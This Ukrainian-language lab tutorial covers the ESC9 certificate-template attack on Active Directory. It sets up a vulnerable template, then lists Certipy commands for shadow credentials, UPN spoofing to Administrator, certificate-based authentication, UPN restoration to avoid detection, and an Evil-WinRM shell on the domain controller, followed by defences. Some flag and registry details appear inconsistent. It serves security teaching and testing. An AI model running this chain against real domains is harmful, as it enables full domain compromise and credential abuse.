Неправильно налаштовані шаблони сертифікатів, особливо ті, що вразливі до ESC9, становлять критичну загрозу для середовищ Active Directory. Шляхом вимкнення розширення безпеки szOID_NTDS_CA_SECURITY_EXT через прапорець CT_FLAG_NO_SECURITY_EXTENSION, навіть за умови ввімкненого StrongCertificateBindingEnforcement, слабкі або неявні зіставлення (mappings) сертифікатів все одно можуть бути експлуатовані. Це неправильне налаштування дозволяє зловмисникам обходити механізми безпеки та потенційно підвищувати привілеї до несанкціонованого доступу адміністратора домену.

У цій статті ми розберемо концепцію зіставлення сертифікатів (неявне проти явного, слабке проти сильного), пояснимо роль атрибутів шаблону сертифіката та висвітлимо, як ESC9 створює небезпечну лазівку в безпеці корпоративних мереж.

Зміст

• Огляд атаки ESC9
• Цілочисельні атрибути ESC9
• Зіставлення сертифікатів
• Попередні умови
• Налаштування лабораторії
• Збір інформації та експлуатація
• Метод 1: Імітація адміністратора на основі шаблону
• Постексплуатація
• Переміщення мережею та підвищення привілеїв за допомогою LDAP Shell від Certipy від імені адміністратора
• Переміщення мережею та підвищення привілеїв за допомогою Evil-Winrm
• Заходи захисту

Огляд атаки ESC9

ESC9 — це один із шляхів підвищення привілеїв, виявлених у службах сертифікації Active Directory (ADCS), який дозволяє зловмиснику зловживати неправильно налаштованими шаблонами сертифікатів для імітації привілейованих користувачів, таких як адміністратори домену.

Це відбувається саме тоді, коли:

• Шаблон сертифіката дозволяє користувачам вказувати альтернативні імена суб’єктів (SAN) (наприклад, UPN), і
• Центр сертифікації (CA) приймає ці SAN без належних обмежень.

У результаті користувач із низькими привілеями може запросити сертифікат для будь-якої особи (наприклад, адміністратора домену), а потім використати цей сертифікат для отримання Kerberos TGT через PKINIT, що призводить до повної компрометації домену.

Умови, необхідні для ESC9

Для експлуатації всі наступні умови мають бути виконані:

• Ім’я суб’єкта або SAN можуть бути вказані в запиті → контролюється атрибутом msPKI-Certificate-Name-Flag; значення типу 1, 17 тощо вказують на вразливість
• CA приймає SAN у запитах → вмикається через ключ реєстру EditFlags (0x10000000 = EDITF_ATTRIBUTESUBJECTALTNAME2)
• Шаблон доступний для користувачів із низькими привілеями → дозвіл ENROLL надано групі Domain Users або Authenticated Users
• Відсутність примусового контролю імен суб’єктів → шаблон не обмежується лише іменами, дозволеними в AD
• Можливість підміни UPN → зловмисник може запросити сертифікат для будь-якого UPN, навіть такого, що належить адміністратору домену

Цілочисельні атрибути ESC9

Атрибути msPKI-Certificate-Name-Flag та msPKI-Enrollment-Flag в Active Directory Certificate Services (ADCS) контролюють, як шаблони сертифікатів обробляють імена суб’єктів та поведінку реєстрації. Ось огляд:

Значення msPKI-Certificate-Name-Flag:

• 0x0 / 0 → Створення тільки з AD (Безпечно)
• 0x1 / 1 → Вказується в запиті (Вразливо до ESC9)
• 0x3 / 3 → Створення з AD + вказується в запиті (Також вразливо)
• 0x10 / 16 → Примусовий UPN у SAN (Необхідно для ESC9, якщо поєднано з можливістю вказувати в запиті)

Бітові значення msPKI-Enrollment-Flag:

• 0x1 / 1 → Включити симетричні алгоритми
• 0x2 / 2 → Дозволити архівування ключів
• 0x10 / 16 → Видалити відкликані сертифікати зі сховища
• 0x20 / 32 → Не зберігати суб’єкт
• 0x40 / 64 → Включити email у суб’єкт

Інші прапорці:

• flags (загальні) → Контролюють доступність шаблону, автоматичну реєстрацію тощо.
• msPKI-Template-Schema-Version

1 = Legacy шаблон

3 = Modern шаблон

Якщо msPKI-Certificate-Name-Flag = 1 або 3 ТА SAN містить UserPrincipalName, ESC9 можна експлуатувати.

Примітка:: Для отримання детальнішої інформації зверніться до Microsoft’s documentation

Зіставлення сертифікатів

ESC9 — це критичне неправильне налаштування в Active Directory Certificate Services (AD CS), яке дозволяє зловмисникам обходити сувору автентифікацію та імітувати привілейованих користувачів.

В основі цієї проблеми лежить зіставлення сертифікатів — процес, який пов’язує сертифікат з обліковим записом AD:

• Неявне зіставлення (Implicit Mapping): Порівнює Subject Alternative Name (SAN) сертифіката з атрибутами облікового запису AD, такими як userPrincipalName. Просте у використанні, але вразливе, якщо не застосовано суворе примусове виконання (ризик підміни SAN).
• Явне зіставлення (Explicit Mapping): Вимагає ручного пов’язування сертифіката через атрибут altSecurityIdentities. Більш безпечне, але ризиковане, якщо зловмисники можуть змінювати атрибути користувача.

Зазвичай сильні зіставлення (strong mappings) застосовуються, коли сертифікат містить спеціальне розширення безпеки (szOID_NTDS_CA_SECURITY_EXT). Це розширення гарантує, що тільки сертифікати, видані довіреними центрами сертифікації (CAs), можуть безпечно автентифікувати користувачів.

Однак, коли шаблон сертифіката має встановлений прапорець CT_FLAG_NO_SECURITY_EXTENSION, це критичне розширення виключається. Це вимикає сильне зіставлення, навіть якщо система налаштована на його виконання (StrongCertificateBindingEnforcement = 1).

У результаті дозволяється слабке зіставлення (weak mapping), і зловмисники можуть:

• Зареєструвати сертифікат на основі вразливого шаблону
• Змінити атрибут altSecurityIdentities облікового запису AD
• Використовувати цей сертифікат для автентифікації як будь-який користувач, навіть адміністратор домену

Це і є суть ESC9: експлуатуючи неправильно налаштовані шаблони сертифікатів, зловмисник може перетворити слабкі зіставлення на потужний шлях для підвищення привілеїв.

Попередні умови

• Windows Server 2019 як Active Directory з підтримкою PKINIT
• Домен повинен мати налаштовані служби сертифікації Active Directory та Центр сертифікації.
• Kali Linux із необхідними інструментами
• Інструменти: Evil-Winrm, certipy-ad

Налаштування лабораторії

Крок 1: Відкрийте консоль шаблонів сертифікатів

• По-перше, відкрийте Certification Authority (certsrv.msc).
• Потім натисніть правою кнопкою миші на Certificate Templates → виберіть Manage.

Крок 2: Створіть дублікат шаблону ‘User’

• Знайдіть шаблон User
• Потім натисніть правою кнопкою миші → виберіть Duplicate Template.

Примітка: Під час створення або дублювання шаблону виберіть Windows Server 2016 (або сумісну версію) для Template Compatibility. Це визначає доступні функції, такі як підтримка Subject Alternative Names (SANs).

Крок 3: Налаштуйте загальну інформацію про шаблон

На вкладці General:

• Змініть Template Display Name на ESC9.
• Потім встановіть період дії/оновлення за потреби.
• Позначте Publish certificate in Active Directory.

Натисніть Apply, потім OK.

Крок 4: Налаштуйте ім’я суб’єкта — стан за замовчуванням (безпечний)

Потім перейдіть на вкладку Subject Name: Переконайтеся, що

• Вибрано Build from this Active Directory information.
• Галочка Include e-mail name in subject name знята.
• User principal name (UPN) позначено в SAN.

Примітка: Це конфігурація за замовчуванням. Вона обмежує можливість імітації.

Крок 5: Поверніться до консолі центру сертифікації

У certsrv.msc натисніть правою кнопкою миші на Certificate Templates → New → Certificate Template to Issue.

Крок 6: Підтвердіть, що ESC9 тепер видається

• Переконайтеся, що ESC9 з’явився у вузлі Certificate Templates у консолі CA.
• Виберіть новостворений шаблон ESC9 зі списку.
• Натисніть OK.

Крок 7: Відкрийте ADSI Edit

Потім запустіть ADSI Edit (adsiedit.msc).

Крок 8: Виберіть ‘Connect to…’ та оберіть Configuration context.

Крок 9: У вікні Connection Settings:

У розділі Select a well known Naming Context виберіть: Configuration

Натисніть OK.

Крок 10: Перейдіть за наступним шляхом:

Configuration [DC=ignite,DC=local]
 └── CN=Configuration,DC=ignite,DC=local
     └── CN=Services
         └── CN=Public Key Services
             └── CN=Certificate Templates

Усередині CN=Certificate Templates знайдіть:

Об’єкт: CN=ESC9. Це підтверджує, що ваш шаблон тепер видимий у розділі конфігурації Active Directory.

Примітка:: Шаблони сертифікатів зберігаються в розділі конфігурації AD, а не на CA, що дозволяє перевіряти GUID шаблонів, списки керування доступом (ACLs) та розширені атрибути, такі як msPKI-Template-Schema-Version, msPKI-Certificate-Name-Flag та msPKI-Enrollment-Flag.

Крок 11: На вкладці Attribute Editor:

• Прокрутіть, щоб знайти: msPKI-Enrollment-Flag
• Двічі клацніть для редагування.

Крок 12: Встановіть значення: 0x80000

Прапорець 0x80000 (PEND_ALL_REQUESTS) означає, що всі запити на сертифікати потребують ручного схвалення CA, що корисно для аудиту або тестування контролю доступу.

Примітка: Це встановлює прапорець Видалити відкликані сертифікати зі сховища (використовується в деяких реальних шаблонах)

Крок 13: Переконайтеся, що значення становить 524288 (або містить його, якщо поєднано з іншими прапорцями)..

Натисніть Ok

Крок 14: Усе ще в ADSI Edit → CN=ESC9 → Properties

• Перейдіть на вкладку Security → Натисніть Add…
• Введіть ім’я користувача: sanjeet
• Виберіть користувача і в розділі Permissions позначте: Write
• Натисніть OK

Примітка: Якщо ми маємо права на запис у вразливому шаблоні, ми можемо змінити його налаштування (наприклад, додати SAN, підвищити привілеї), що є ключовим кроком в атаках ADCS, таких як та ESC9.

Step 15: In the CA server, open: regedit.exe

• Перейдіть до:ComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceskdc
• Знайдіть або створіть значення DWORD:

Крок 16: Встановіть значення: Hex: 0x10000000

Примітка: Прапорець 0x10000000 (268435456) = EDITF_ATTRIBUTESUBJECTALTNAME2, дозволяє приймати поле SAN у запитах на сертифікати, що є критичним для зловживання ESC9 в атаках ADCS.

Збір інформації та експлуатація

Метод 1: Імітація адміністратора на основі шаблону

У цьому методі ми експлуатуємо дві ключові слабкості: виявляємо неправильно налаштовані шаблони сертифікатів, які дозволяють користувачеві контролювати поля типу UPN/SAN (через CT_FLAG_NO_SECURITY_EXTENSION), і спостерігаємо за слабким примусовим зіставленням сертифікатів, де системи в Active Directory приймають автентифікацію виключно на основі UPN у сертифікаті, незалежно від того, кому він виданий. Ця атака не покладається на викрадення облікових даних або хешів; натомість ми зловживаємо моделлю довіри PKI в AD, маніпулюючи тим, як сертифікати зіставляються з ідентичностями користувачів.

Виявлення вразливих шаблонів

Для експлуатації ESC9 спочатку визначте вразливі шаблони сертифікатів за допомогою Certipy:

certipy-ad find -u 'raj@ignite. local' -p Password@1 -dc-ip 192.168.1.16 -vulnerable -enabled

Це перевіряє наявність шаблонів із прапорцем CT_FLAG_NO_SECURITY_EXTENSION, які дозволяють користувачам встановлювати поля ідентичності, такі як UPN. Ці неправильно налаштовані шаблони дозволяють слабке зіставлення сертифікатів і складають основу ESC9, роблячи можливою імітацію привілейованих користувачів без їхніх паролів.

Після запуску Certipy відкрийте згенерований .txt файл, щоб переглянути деталі центру сертифікації:

Це підтверджує ім’я CA (ignite-DC1-CA) і показує ключові налаштування, такі як Web Enrollment: Disabled, Request Disposition: Issue, і, найголовніше, що User Specified SAN вимкнено, що відповідає характеристикам ESC9, який покладається лише на поле UPN, яке можна підробити.

Прокрутіть вниз у тому ж .txt файлі, щоб перевірити деталі окремих шаблонів, особливо тих, що позначені як вразливі:

Шукайте:

• Template Name: ESC9
• Enrollment Flag: NoSecurityExtension
• Enrollment Rights: Включає Domain Users
• Vulnerabilities: Явно позначено як ESC9

Це демонструє, що будь-який користувач у групі Domain Users (як raj) може зареєструвати сертифікат за цим шаблоном, і що жодні розширення безпеки сертифікатів не застосовують жодних правил. Ці умови — саме те, що потрібно для продовження імітації на основі ESC9.

Shadow Credential у проксі-аккаунтt

Далі отримайте доступ до облікового запису з правами запису (проксі), ввівши тіньові облікові дані (shadow credential):

certipy-ad shadow auto -u raj@ignite. local -p Password@1 -account sanjeet -dc-ip 192.168.1.16

Це вводить тіньові облікові дані в обліковий запис sanjeet, дозволяючи автентифікацію без знання пароля. Цей крок готує проксі-ідентичність, яку ми використаємо для імітації адміністратора під час запиту сертифіката.

Підміна UPN проксі-аккаунта

Потім підмініть UPN проксі-аккаунта на UPN адміністратора:

certipy-ad account update -u raj@ignite.local -password Password@1 -user sanjeet -upn Administrator -dc-ip 192.168.1.16

Це змінює User Principal Name (UPN) користувача sanjeet на Administrator. Коли StrongCertificateBindingEnforcement встановлено на 0, Active Directory зіставляє логіни за сертифікатами лише на основі UPN, що уможливлює цей трюк з імітацією.

Запит сертифіката від імені адміністратора

Після підміни UPN запросіть сертифікат, використовуючи вразливий шаблон:

certipy-ad req -u sanjeet@ignite.local -hashes 64fbae31cc352fc26af97cbdef151e03 -ca ignite-DC1-CA -template ESC9 -dc-ip 192.168.1.16

Адміністратор реєструє сертифікат за допомогою шаблону ESC9. Оскільки цей шаблон вимикає перевірки безпеки та довіряє полю UPN, CA видає сертифікат, якому довіряє AD, попри те, що його запросив Sanjeet.

Повернення оригінального UPN проксі-аккаунта

Після видачі сертифіката поверніть UPN проксі-аккаунта для прихованості:

certipy-ad account update -u raj@ignite.local -p Password@1 -user sanjeet -upn sanjeet@ignite.local -dc-ip 192.168.1.16

Це відновлює оригінальне значення UPN для sanjeet, ускладнюючи виявлення атаки. Виданий сертифікат залишається дійсним для адміністратора, але зміна приховує маніпуляції з проксі-аккаунтом.

Автентифікація як адміністратор

Автентифікуйтеся як адміністратор, використовуючи виданий сертифікат:

certipy-ad auth -pfx administrator.pfx -domain ignite.local

Це використовує підроблений сертифікат для виконання автентифікації на основі сертифіката (PKINIT). Оскільки сертифікат містить Administrator як UPN, а AD дозволяє зіставлення тільки за UPN, він видає TGT для справжнього облікового запису адміністратора.

Постексплуатація

Переміщення мережею та підвищення привілеїв за допомогою LDAP Shell від Certipy від імені адміністратора

Використовуйте свій доступ адміністратора, щоб запустити LDAP shell:

certipy-ad auth -pfx administrator.pfx -domain ignite.local -ldap-shell -dc-ip 192.168.1.16

Це відкриває інтерактивну сесію LDAP, автентифіковану як адміністратор. Тепер ви можете виконувати потужні операції, такі як DCSync, змінювати членство в групах або встановлювати стійкість (persistence) у домені.

Переміщення мережею та підвищення привілеїв за допомогою Evil-Winrm

Якщо ви отримали NTLM-хеш адміністратора, підключіться за допомогою Evil-WinRM:

evil-winrm -i 192.168.1.16 -u administrator -H 64fbae31cc352fc26af97cbdef151e03

Це запускає повну інтерактивну віддалену оболонку на контролері домену. На цьому етапі ви досягли повної компрометації домену через ланцюжок зловживань ESC9.

Заходи захисту

• Встановіть StrongCertificateBindingEnforcement = 2

• Вилучіть CT_FLAG_NO_SECURITY_EXTENSION з усіх активних шаблонів

• Обмежте коло осіб, які можуть реєструвати сертифікати за шаблонами з EKU Client Authentication

• Проводьте аудит видачі сертифікатів (Event ID 4886/4887)

• Моніторте зміни UPN та використання тіньових облікових даних (shadow credentials)